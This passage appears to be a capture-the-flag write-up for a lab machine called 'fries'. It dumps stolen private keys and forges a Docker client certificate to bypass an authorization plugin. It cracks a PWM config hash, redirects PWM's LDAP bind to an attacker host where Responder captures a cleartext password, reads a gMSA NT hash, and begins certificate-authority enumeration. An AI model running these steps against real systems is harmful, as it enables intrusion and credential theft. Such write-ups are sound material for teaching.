┌──(root㉿kali)-[/tmp/fries_certs/certs]
└─# cat *
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCNI/v5iPB/pLeI
5cmnUE1BUZsF05mT1I58Jeil4jgPGr8INb3/dG1d8ypKk4I3Q2FXAOgrlLOVW2ze
NWHPBE0alvTFu8Okkey7bsXU5Nxf32dWq+jin5gjKToXbEFU6o48SpZZDuWVuo7Q
4N7T/0Rv6ZJTpd5r7u2VQV6ahqBdtRHoNCR/niByKBLBSqFX+1kwCJdu4OqCaJNS
VUGBj/QmDIS91vrbF1pk68Y7/uScMX8QzehT/+T/XuBlXx6SuuHWtIZ4H5fJftKf
dkRUHdkGRCbPF/y/9j/FDDdkBgvfTvLu0Lh9p3bqZPMwmi8kONfsBPgSl1C5ww//
WPcU6e+hAgMBAAECggEAD6RARYxOkubPTEWjDn7QwP9pPcEQkRiKXenZmaCzc8EU
ELXcA5aElFfhhPhKAxPdksXP9Rx6tn+2Vf32g/nHDb5TDCLd8LwXT0JcfFaMsbdR
fYJ5wbvMIYFtJbFioCWKc9YUSXRkLy7Iqw9wwm/Uxs5M4CZOuwl0nQjskhV/akL/
u3qqOcBcwq0DpZv4Dw6husKcrSlf7q6jU64eJZ2pfZxBalkMRddMvMiUL4lu3Rzz
eUP7Ffjoc9C2EVyC0XtJzT0Ur+lRLdiYS42oJN0O1V8C4+VKw7XB7+o5OW/bUx5w
CFQQ7KfKuB5Mvr+xcz2sPMQ4PL76L+/FSlAgBFk2/QKBgQC3dzdeJEh0Fw3RlwRJ
S7PRS40kVIjRqmEw3RK48K0/B03B08ExMhFZpZ29C+c1ZzWJBV/PYUEUckuYssiq
ELHUlOtoZtxGlWFLFQj0p84CiCFi9qCBVSB/CX5IDCHR5OcFjr9w0q/DTKkUlUZN
QfPHH6DfA1lTV9xY8kg08rhnVwKBgQDE8P2zoDjbugfzLS23xz29WT506JLHvPlk
I4GPuwM8osExSYSePVvGKeGL2E4pkNhFM7ydnsBrygwO+35f/o9MVK6mQz5GD0pA
y2OhAVIjvUTW/PDrpOdjjPy/PjGIKDxSOcAYzIhpxsvOWymUKo6uF0Zrbu46U+jb
bFLn1NFdxwKBgQCACYIpgDbUVdZ+A9+o610V3p0k0p4dfMORX2eWi9jMWOOKNqbo
F2IGZ0+bRHhaS6oP8yE3UE8j3tQlP/hMv5ProPZdCRQHam7ZAFgcrhNWrvxl3WqM
eAVSwyRPUbA0lIQp28J9EXw6VwDU7Yx/lFx2Bfu2R9cKFBIiPQvpb88DxwKBgQCF
S2sbWZVCOq5Iy8pGueaysqWQMR2vbNsLCPEXHAd70diaiFznUTY9cHlE0plMjsmi
RPsjX6BzFCSHO3b0d/H7QtGWnKqYdp7WLhL3lVJH+EGQlVBm3YzzFyi2M90If9sb
+BRpdH3bwf6NY6xHqWo6sGwsKL+64LIZWT7fxG4UXwKBgQCXjc0iXHVgMqo2v11L
9StL0BZc6xs3VL3zn6E/Sf4ptLfOzr1Z31Owk6it2CwH5QMe2237H7DoTaGdkFpF
moYR5629rNQ8dajTcwTK9f3Vm5Yp8YI290ExIovgF4fS2H1od+YD5Hk2qSlUWDEf
lEFleRF3JdlTO+d45SX4WoO0Fg==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDBzCCAe+gAwIBAgIUSlcqOqok3HQM9woDn1LzVmcwXLUwDQYJKoZIhvcNAQEL
BQAwEzERMA8GA1UEAwwIRG9ja2VyQ0EwHhcNMjUwNTI2MTcxMDU4WhcNMjYwNTI2
MTcxMDU4WjATMREwDwYDVQQDDAhEb2NrZXJDQTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAI0j+/mI8H+kt4jlyadQTUFRmwXTmZPUjnwl6KXiOA8avwg1
vf90bV3zKkqTgjdDYVcA6CuUs5VbbN41Yc8ETRqW9MW7w6SR7LtuxdTk3F/fZ1ar
6OKfmCMpOhdsQVTqjjxKllkO5ZW6jtDg3tP/RG/pklOl3mvu7ZVBXpqGoF21Eeg0
JH+eIHIoEsFKoVf7WTAIl27g6oJok1JVQYGP9CYMhL3W+tsXWmTrxjv+5JwxfxDN
6FP/5P9e4GVfHpK64da0hngfl8l+0p92RFQd2QZEJs8X/L/2P8UMN2QGC99O8u7Q
uH2ndupk8zCaLyQ41+wE+BKXULnDD/9Y9xTp76ECAwEAAaNTMFEwHQYDVR0OBBYE
FBrssmkRFMv4JxsJiOROQ5W3X/TlMB8GA1UdIwQYMBaAFBrssmkRFMv4JxsJiORO
Q5W3X/TlMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAFKHOUWX
+q12Vpxg7It+ENlpNarimsTmsrCoRcAkEQnHPQsC2yY3NSMV0ZnYRBx/OtyG++lI
d7af8KU5E8IDbQQTtHWSWy0WD1QbBrIkgnsI48MLTfk/4eDbJ5dM1baEmhK/DEAP
cqGC0GMZ0N600mNysj6QZ+FUfy6YjqZS3HH0hz3yhWwNpaZUCS83H5LPamdX2ET0
9Jto+nDRYvj1hrtDR2aJQ98gTkMlO6QMOefaPeMemo07hBs0dgyWiEmKD8WBxW0h
1LIWU9eWw1kFa27lw/oA4ZaH48K2a4TpAJPfnGGAEQDHA+tytgqUpk+2j6Zb6g11
y9tT1WDrTzwdNtk=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDCTCCAfGgAwIBAgIUG5nEEOe5rMudvK9SoSMUDkxjukEwDQYJKoZIhvcNAQEL
BQAwEzERMA8GA1UEAwwIRG9ja2VyQ0EwHhcNMjUwNTI2MTcxMjQyWhcNMjYwNTI2
MTcxMjQyWjAQMQ4wDAYDVQQDDAVmcmllczCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAJijWsBsMAbc61bgwGH3DfhmmCKFmh7hIcRwhjHqkrhP59IbKC0c
z6e78z41fXXfPTTRaHX/fY9mYDVjphGzsHldlM/ExGqNC3sNz8neZFUGQ5wU3DmP
2Obb7fFdunW7Ja1FMZZsbD4gYyu4zge1SX1br0sJV8TtVayGb095fKwlTJ+jCq5t
WleN++U4h+ZzP7X8CE8ILKBx5eqRbeVcynlyUYFXco0YGyluiHm2jzF5fqikcApc
YmlChVYTwW/MsZoEW8sYVZoUnn5pt2nQeORvlnfS2LUqW1uYjtNG89mS9RM+ho75
rK6TkONizMntJuGs9di118uu8eFDo88m3jcCAwEAAaNYMFYwFAYDVR0RBA0wC4ID
d2VihwR/AAABMB0GA1UdDgQWBBQmv9PLLwJOSaHH1brbMcEsKWtUbjAfBgNVHSME
GDAWgBQa7LJpERTL+CcbCYjkTkOVt1/05TANBgkqhkiG9w0BAQsFAAOCAQEAVmgr
T8Mk6GA9poX30ZZxXezpM3KEF8I2H/7JhRKTqQ6WbkurH49H/t4onVpohyCvubgx
Zsj7n9gIg76EVhEUuKO3KA1XPBWDdhJGTrbgKM8jO2xOAs1uq4NkjTSLTLH8ZIFW
ExqKdkccmXQwhSZZkclfX7FvdLNRr/prNNpOAU4FpEKw+sZEV7O/MXARgZWd2WN2
TArhKXNdqlKcza8jVW6tYM/pIjv8OMBvG/4dj4HeNMD1aR7LzeVLxOGA39ljeFqN
BPAPYGesmQddqXz8LiTfaT6+PbOzSCM67yv7w4LXPAMMvz2ijdI+JdHd8/ikRpcx
spLBZWYBH+iwwkdPFA==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE REQUEST-----
MIICfDCCAWQCAQAwEDEOMAwGA1UEAwwFZnJpZXMwggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQCYo1rAbDAG3OtW4MBh9w34ZpgihZoe4SHEcIYx6pK4T+fS
GygtHM+nu/M+NX113z000Wh1/32PZmA1Y6YRs7B5XZTPxMRqjQt7Dc/J3mRVBkOc
FNw5j9jm2+3xXbp1uyWtRTGWbGw+IGMruM4HtUl9W69LCVfE7VWshm9PeXysJUyf
owqubVpXjfvlOIfmcz+1/AhPCCygceXqkW3lXMp5clGBV3KNGBspboh5to8xeX6o
pHAKXGJpQoVWE8FvzLGaBFvLGFWaFJ5+abdp0Hjkb5Z30ti1KltbmI7TRvPZkvUT
PoaO+ayuk5DjYszJ7SbhrPXYtdfLrvHhQ6PPJt43AgMBAAGgJzAlBgkqhkiG9w0B
CQ4xGDAWMBQGA1UdEQQNMAuCA3dlYocEfwAAATANBgkqhkiG9w0BAQsFAAOCAQEA
RGBUZUP4cRWuxCpStukE+4I9uEEY7bvuzutEg6E5YZyhvYWS0KV0BsqrFkuvdOIl
A/7O667M23Rh9tfK5zLGAME8V4e0jHc2lCyYbAsYutF6rAU/ku25dJxWhJ8nbE3Y
ztEo+kk9CMIrq/k1P5eaJhEv9YWNufThDLlEY/zrJ38MRjOdLLQ+o27sMucEiAuU
1794PaurMGuPFaBiTHV9KVAkGtFSoPxUkicdNqCTW8wtvKizeDuMYdOY6UppwrQd
wJIvS3b8nTRqArDwG0eV3UbPyZz9aIxdJUAmIDKcX54MOrCDa+iC9OGLgbYiAcw6
WG3TBMG+adCxiIT2IbVpBg==
-----END CERTIFICATE REQUEST-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCYo1rAbDAG3OtW
4MBh9w34ZpgihZoe4SHEcIYx6pK4T+fSGygtHM+nu/M+NX113z000Wh1/32PZmA1
Y6YRs7B5XZTPxMRqjQt7Dc/J3mRVBkOcFNw5j9jm2+3xXbp1uyWtRTGWbGw+IGMr
uM4HtUl9W69LCVfE7VWshm9PeXysJUyfowqubVpXjfvlOIfmcz+1/AhPCCygceXq
kW3lXMp5clGBV3KNGBspboh5to8xeX6opHAKXGJpQoVWE8FvzLGaBFvLGFWaFJ5+
abdp0Hjkb5Z30ti1KltbmI7TRvPZkvUTPoaO+ayuk5DjYszJ7SbhrPXYtdfLrvHh
Q6PPJt43AgMBAAECggEACgTpS/LE6EePyopCf7Tci3gK0wXbeLhJkZJtTJpbn23e
K9IM0FyxEeqOkMmEESqG4v31pGpavJMd55WKfz/TRhi9dJ+hKh3nKXLLpQ2VVdba
/rH2IQLc7mlP4hw1Dl/iCtCdNfKrJWX6jskmjiYdyz4GucPEzh30XwHDe0hyoP4H
Px0iI4z2mIxr58qIlfti4OGA97BZJJfqOnJwxCNYK1BpgjGKQITuDs9hKmGUzSY5
FsHZ+Dzvs/rfEc/S4X98KB58QsGS2h4nGwKzs+YmFrQQ+F0haF1QMWQkwCOOaVmq
FFIAWwO/mYeg087n3ym1Mg5mchrBN53DdYfbyftHqQKBgQDNyOp2MTHB7qtgJwEu
nGYSXclUitdkqpzYXhBioY/z0MaJBAci88PcCyT+hGGOu1zWbz4x4o3M/XzNV/UF
0dEB0tp7wwN6hFLmpfApR/zqYGppMykSS8BD8L0eUMP2Dj3ukFSTuuUPXfPwo0BG
lygBnyZM2YRheGTTKtXhPX8Q8wKBgQC94nBP9kBbGg9bloXg43WU3+YUlbh415Bq
WmZp6NaJh6A3BYKlbLY9p5Df9p0iEOtcYG61l/Y8v7BIsgFyeD22HAlVwqcRUyCd
Dod0dNePwddOYXfX66d0bB7woh5JPY9LGdMIA0Pe6Vgzw8smV4msrswaXaXZ/VnV
m/zefQBurQKBgECKBM6wuxRBkEoFsZ82ueSEuYHkUY1m3O4XAjiMxyMGlV2ff8V8
gi7e5+lTB23GYWV3WiA3F5X04lFchqIendhekttB3DNukLl5zYqE41N2jakUvIra
ayBjvkxltC/VY6MQbRYwBWr+YmVULfJ1sbxgd5iel6AiLCz2QEH2EYX1AoGAf/ZK
I8jaY8pzERCmFgCTK4mbXsHq+Byk6NcU70iG01W/xXSEL4DMa04yFov2Jo/qXG1s
DhpjSVsQrFyxFvgq9j98lvu/ZLB1aQHyjKt03R8PPnX2sl7PkWiPjTBjYo4Gs+Cq
U1sH8P+lffTzQVp6oBGH4Di93OKcGJSvWyw4D10CgYAs4XQglmpsUBmY/HtlDPiy
VSSnFn9c1rowAK1MJEi6l0S1lZXVdKMVqV6E/i58LGqoqUXoHlvERfKI8FHp9nKQ
Sf00DSOC7W8uqlWsWSOh9EaCdIcSLSGK4qaXcjwATeiNnt4BMnWxikqc7OxuE807
HmwL9/U//oQhCT0X9pXTww==
-----END PRIVATE KEY-----
[req]
default_bits = 2048
prompt = no
default_md = sha256
distinguished_name = dn
req_extensions = req_ext

[dn]
CN = fries

[req_ext]
subjectAltName = @alt_names

[alt_names]
DNS.1 = web
IP.1 = 127.0.0.1

To understand what that CA is for, let’s look at how the Docker daemon on the host is started, and at the authorization policy it enforces:

1
2
3
4
5
6
7
8
svc@web:~$ ps -ef --forest | grep dockerd
svc 12234 12145 0 15:22 pts/0 00:00:00 \_ grep --color=auto dockerd
root 942 1 0 08:00 ? 00:00:27 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock --authorization-plugin=authz-broker --tlsverify --tlscacert=/etc/docker/certs/ca.pem --tlscert=/etc/docker/certs/server-cert.pem --tlskey=/etc/docker/certs/server-key.pem -H=127.0.0.1:2376
svc@web:~$ cat /var/lib/authz-broker/policy.json
{"name":"policy_1", "users": ["svc"], "actions": ["container_list", "container_logs"]}
{"name":"policy_1", "users": ["sysadm"], "actions": ["container"], "readonly":true}
{"name":"policy_2", "users": ["root"], "actions": [""]}

This is the crux of the box. dockerd listens on 127.0.0.1:2376 with --tlsverify and an authz-broker plugin, and the broker decides what you’re allowed to do based on the Common Name of your client certificate. The svc identity only gets container_list and container_logs, but sysadm gets the whole container action set in readonly mode, which crucially includes container_archive, the API call behind docker cp.

Since we stole ca-key.pem off the NFS share, we can just sign our own client certificate with CN=sysadm and become that identity:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿kali)-[/tmp/fries_certs/certs]
└─# openssl genrsa -out sysadm.key 4096

┌──(root㉿kali)-[/tmp/fries_certs/certs]
└─# ls
ca-key.pem ca.pem server-cert.pem server.csr server-key.pem server-openssl.cnf sysadm.key

┌──(root㉿kali)-[/tmp/fries_certs/certs]
└─# openssl req -new -key sysadm.key -out sysadm.csr -subj "/CN=sysadm"

┌──(root㉿kali)-[/tmp/fries_certs/certs]
└─# openssl x509 -req -in sysadm.csr \
-CA ca.pem -CAkey ca-key.pem -CAcreateserial \
-out sysadm.crt -days 365 -sha256

Certificate request self-signature ok
subject=CN=sysadm

┌──(root㉿kali)-[/tmp/fries_certs/certs]
└─# l | grep sys
ca-key.pem ca.srl server.csr server-openssl.cnf sysadm.csr
ca.pem server-cert.pem server-key.pem sysadm.crt sysadm.key

The daemon only listens on localhost, so we need to use the certificate from the box itself. We can SSH in as svc (whose password we recovered by cracking the shadow hash from the NFS dump) and upload our forged material:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿kali)-[/tmp/fries_certs/certs]
└─# scp ca.pem [email protected]:/home/svc
The authenticity of host '10.129.70.58 (10.129.70.58)' can't be established.
ED25519 key fingerprint is SHA256:++SuiiJ+ZwG7d5q6fb9KqhQRx1gGhVOfGR24bbTuipg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.70.58' (ED25519) to the list of known hosts.
[email protected]'s password:
ca.pem 100% 1111 1.6KB/s 00:00

┌──(root㉿kali)-[/tmp/fries_certs/certs]
└─# scp ca-key.pem [email protected]:/home/svc
[email protected]'s password:
ca-key.pem 100% 1708 3.8KB/s 00:00

┌──(root㉿kali)-[/tmp/fries_certs/certs]
└─# scp sysadm.key [email protected]:/home/svc
[email protected]'s password:
sysadm.key 100% 3272 6.0KB/s 00:00

┌──(root㉿kali)-[/tmp/fries_certs/certs]
└─# scp sysadm.crt [email protected]:/home/svc
[email protected]'s password:
sysadm.crt 100% 1432 2.8KB/s 00:00

The svc user has no access to the Unix socket, but pointing the client at the TLS endpoint with our forged certificate works perfectly:

1
2
3
4
5
6
7
8
9
10
svc@web:~$ docker ps
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.50/containers/json": dial unix /var/run/docker.sock: connect: permission denied
svc@web:~$ docker --tlsverify --tlscacert=ca.pem --tlscert=sysadm.crt --tlskey=sysadm.key -H tcp://127.0.0.1:2376 ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
f427ecaa3bdd pwm/pwm-webapp:latest "/app/startup.sh" 5 months ago Up 7 hours 0.0.0.0:8443->8443/tcp, [::]:8443->8443/tcp pwm
cb46692a4590 dpage/pgadmin4:9.1.0 "/entrypoint.sh" 6 months ago Up 7 hours 443/tcp, 127.0.0.1:5050->80/tcp pgadmin4
bfe752a26695 fries-web "/usr/local/bin/pyth…" 6 months ago Up 7 hours 127.0.0.1:5000->5000/tcp web
858fdf51af59 postgres:16 "docker-entrypoint.s…" 6 months ago Up 7 hours 5432/tcp postgres
b916aad508e2 gitea/gitea:1.22.6 "/usr/bin/entrypoint…" 6 months ago Up 7 hours 127.0.0.1:3000->3000/tcp, 172.18.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea

Now we can see the full container inventory, including the pwm container we haven’t touched yet.

Stealing the PWM Configuration

Checking the official PWM image documentation tells us where its configuration lives:

1
2
3
4
5
6
7
8
9
10
11
12
version: '3'
services:
pwm-webapp:
container_name: mypwm
ports:
- '8443:8443'
volumes:
- type: bind
source: /home/user/pwm-config
destination: /config
image: 'pwm/pwm-webapp:latest'

/config is exactly the kind of thing container_archive lets us read, so let’s copy it out:

1
2
3
4
5
6
7
8
9
10
11
svc@web:~$ docker --tlsverify --tlscacert=ca.pem --tlscert=sysadm.crt --tlskey=sysadm.key -H tcp://127.0.0.1:2376 cp f427ecaa3bdd:/config ./pwm_config
Successfully copied 20.7MB to /home/svc/pwm_config
svc@web:~$ cd pwm_config/
svc@web:~/pwm_config$ ls
applicationPath.lock backup LocalDB logs PwmConfiguration.xml temp
svc@web:~/pwm_config$ cat PwmConfiguration.xml | grep -i hash
<property key="configPasswordHash">$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG</property>
<setting key="response.hashMethod" syntax="SELECT" syntaxVersion="0">
<label>Modules ⇨ Public ⇨ Forgotten Password ⇨ Settings ⇨ Responses Storage Hashing Method</label>
svc@web:~/pwm_config$

configPasswordHash is the password that protects PWM’s configuration manager, and it’s a bcrypt hash with a cost factor of only 4, which cracks instantly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[/tmp]
└─$ echo '$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG' > hash

┌──(kali㉿kali)-[/tmp]
└─$ john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
rockon! (?)
1g 0:00:00:02 DONE (2025-11-25 03:39) 0.4149g/s 9231p/s 9231c/s 9231C/s tanesha..prakash
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

The configuration file also tells us which account PWM binds to LDAP with:

<value>CN=svc_infra,CN=Users,DC=fries,DC=htb</value>

Capturing svc_infra via LDAP Redirection

With rockon! we can log into https://pwm.fries.htb and reach the configuration manager at https://pwm.fries.htb/pwm/private/config/manager.

From there we download the configuration file and find the LDAP server URL setting:

1
2
3
4
5
6
7
<setting key="ldap.serverUrls" modifyTime="2025-06-01T19:53:04Z" profile="default" syntax="STRING_ARRAY" syntaxVersion="0">

<label>LDAP ⇨ LDAP Directories ⇨ default ⇨ Connection ⇨ LDAP URLs</label>

<value>ldaps://dc01.fries.htb:636</value>

</setting>

Here’s the trick. PWM stores the LDAP bind password in its configuration, and it will happily send that password to whatever LDAP server we tell it to talk to. If we change the URL from ldaps:// on 636 to plain ldap:// on 389 pointing at our machine, the bind happens in cleartext straight into our listener:

1
2
3
4
5
6
<setting key="ldap.serverUrls">

<value>ldap://10.10.16.10:389</value>

</setting>

We upload the modified file and then browse to https://pwm.fries.htb to make the application attempt its LDAP connection, while Responder’s rogue LDAP server catches the bind:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
$ sudo responder -I tun0
[sudo] password for kali:
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|

NBT-NS, LLMNR & MDNS Responder 3.1.6.0

To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder

Author: Laurent Gaffie ([email protected])
To kill this script hit CTRL-C


[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]

[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [ON]

[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]

[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]

[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.16.10]
Responder IPv6 [dead:beef:4::1008]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
Don't Respond To MDNS TLD ['_DOSVC']
TTL for poisoned response [default]

[+] Current Session Variables:
Responder Machine Name [WIN-I1CD7RSGWQQ]
Responder Domain Name [741A.LOCAL]
Responder DCE-RPC Port [49422]

[+] Listening for events...

[LDAP] Cleartext Client : 10.129.70.58
[LDAP] Cleartext Username : CN=svc_infra,CN=Users,DC=fries,DC=htb
[LDAP] Cleartext Password : m6tneOMAh5p0wQ0d
[*] Skipping previously captured cleartext password for CN=svc_infra,CN=Users,DC=fries,DC=htb
[*] Skipping previously captured cleartext password for CN=svc_infra,CN=Users,DC=fries,DC=htb
[*] Skipping previously captured cleartext password for CN=svc_infra,CN=Users,DC=fries,DC=htb
[*] Skipping previously captured cleartext password for CN=svc_infra,CN=Users,DC=fries,DC=htb
[*] Skipping previously captured cleartext password for CN=svc_infra,CN=Users,DC=fries,DC=htb
[*] Skipping previously captured cleartext password for CN=svc_infra,CN=Users,DC=fries,DC=htb
[*] Skipping previously captured cleartext password for CN=svc_infra,CN=Users,DC=fries,DC=htb
[*] Skipping previously captured cleartext password for CN=svc_infra,CN=Users,DC=fries,DC=htb


And there we go, svc_infra:m6tneOMAh5p0wQ0d in cleartext. That’s our first real Active Directory account and it means we’re finally done with the Linux side of the box.

Domain Enumeration and gMSA Abuse

Let’s collect BloodHound data with our new domain credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ bloodhound-python -c All -u svc_infra  -p 'm6tneOMAh5p0wQ0d' -d fries.htb -ns 10.129.70.58 --zip    
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: fries.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.fries.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc01.fries.htb
INFO: Testing resolved hostname connectivity dead:beef::4c6:acb3:d1b5:83c2
INFO: Trying LDAP connection to dead:beef::4c6:acb3:d1b5:83c2
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc01.fries.htb
INFO: Testing resolved hostname connectivity dead:beef::4c6:acb3:d1b5:83c2
INFO: Trying LDAP connection to dead:beef::4c6:acb3:d1b5:83c2
INFO: Found 19 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: web
INFO: Querying computer: DC01.fries.htb
WARNING: Could not resolve: web: The resolution lifetime expired after 3.103 seconds: Server Do53:10.129.70.58@53 answered The DNS operation timed out.
INFO: Done in 00M 56S
INFO: Compressing output into 20251125042609_bloodhound.zip

The graph shows svc_infra holding ReadGMSAPassword over the gMSA_CA_prod$ group managed service account. Group Managed Service Accounts store their password blob in the msDS-ManagedPassword LDAP attribute, readable only by the principals listed in PrincipalsAllowedToReadPassword, and netexec will parse that blob into an NT hash for us:

1
2
3
4
5
 nxc ldap 10.129.70.58 -u svc_infra -p m6tneOMAh5p0wQ0d --gmsa
LDAP 10.129.70.58 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb) (signing:None) (channel binding:Never)
LDAP 10.129.70.58 389 DC01 [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d
LDAP 10.129.70.58 389 DC01 [*] Getting GMSA Passwords
LDAP 10.129.70.58 389 DC01 Account: gMSA_CA_prod$ NTLM: fc20b3d3ec179c5339ca59fbefc18f4a PrincipalsAllowedToReadPassword: svc_infra

With that NT hash we can pass-the-hash into WinRM as gMSA_CA_prod$.

ADCS Enumeration

The account name gives away where this is going, so let’s enumerate the certificate authorities with Certify:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> .\Certify.exe cas

_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0

[*] Action: Find certificate authorities
[*] Using the search base 'CN=Configuration,DC=fries,DC=htb'


[*] Root CAs

Cert SubjectName : CN=fries-DC01-CA, DC=fries, DC=htb
Cert Thumbprint : 0FDE266E3D674B5B37542D3E38699FFE2C93A662
Cert Serial : 26117C1FFA5705AF443B7E82E8C639A9
Cert Start Date : 11/17/2025 9:39:18 PM
Cert End Date : 5/19/3024 7:11:46 AM
Cert Chain : CN=fries-DC01-CA,DC=fries,DC=htb

Cert SubjectName : CN=fries-DC01-CA, DC=fries, DC=htb
Cert Thumbprint : 6BCC33E7CE74DC371715DAA806E9D7E73E606A46
Cert Serial : 2E2DC1942D60559F460B0F47814FE48E
Cert Start Date : 5/19/2025 7:00:46 AM
Cert End Date : 5/19/3024 7:10:46 AM
Cert Chain : CN=fries-DC01-CA,DC=fries,DC=htb



[*] NTAuthCertificates - Certificates that enable authentication:

Cert SubjectName : CN=fries-DC01-CA, DC=fries, DC=htb
Cert Thumbprint : 0FDE266E3D674B5B37542D3E38699FFE2C93A662
Cert Serial : 26117C1FFA5705AF443B7E82E8C639A9
Cert Start Date : 11/17/2025 9:39:18 PM
Cert End Date : 5/19/3024 7:11:46 AM
Cert Chain : CN=fries-DC01-CA,DC=fries,DC=htb

Cert SubjectName : CN=fries-DC01-CA, DC=fries, DC=htb
Cert Thumbprint : 6BCC33E7CE74DC371715DAA806E9D7E73E606A46
Cert Serial : 2E2DC1942D60559F460B0F47814FE48E
Cert Start Date : 5/19/2025 7:00:46 AM
Cert End Date : 5/19/3024 7:10:46 AM
Cert Chain : CN=fries-DC01-CA,DC=fries,DC=htb


[*] Enterprise/Enrollment CAs:

Enterprise CA Name : fries-DC01-CA
DNS Hostname : DC01.fries.htb
FullName : DC01.fries.htb\fries-DC01-CA
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=fries-DC01-CA, DC=fries, DC=htb
Cert Thumbprint : 0FDE266E3D674B5B37542D3E38699FFE2C93A662
Cert Serial : 26117C1FFA5705AF443B7E82E8C639A9
Cert Start Date : 11/17/2025 9:39:18 PM
Cert End Date : 5/19/3024 7:11:46 AM
Cert Chain : CN=fries-DC01-CA,DC=fries,DC=htb
UserSpecifiedSAN : Disabled
CA Permissions :
Owner: BUILTIN\Administrators S-1-5-32-544

Access Rights Principal

Deny ManageCertificates FRIES\Domain Users S-1-5-21-858338346-3861030516-3975240472-513
[!] Low-privileged principal has ManageCertificates rights!
Deny ManageCertificates FRIES\Domain Computers S-1-5-21-858338346-3861030516-3975240472-515
[!] Low-privileged principal has ManageCertificates rights!
Deny ManageCertificates FRIES\gMSA_CA_prod$ S-1-5-21-858338346-3861030516-3975240472-1104
Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11
Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544
Allow ManageCA, ManageCertificates FRIES\Domain Admins S-1-5-21-858338346-3861030516-3975240472-512
Allow Enroll FRIES\Domain Users S-1-5-21-858338346-3861030516-3975240472-513
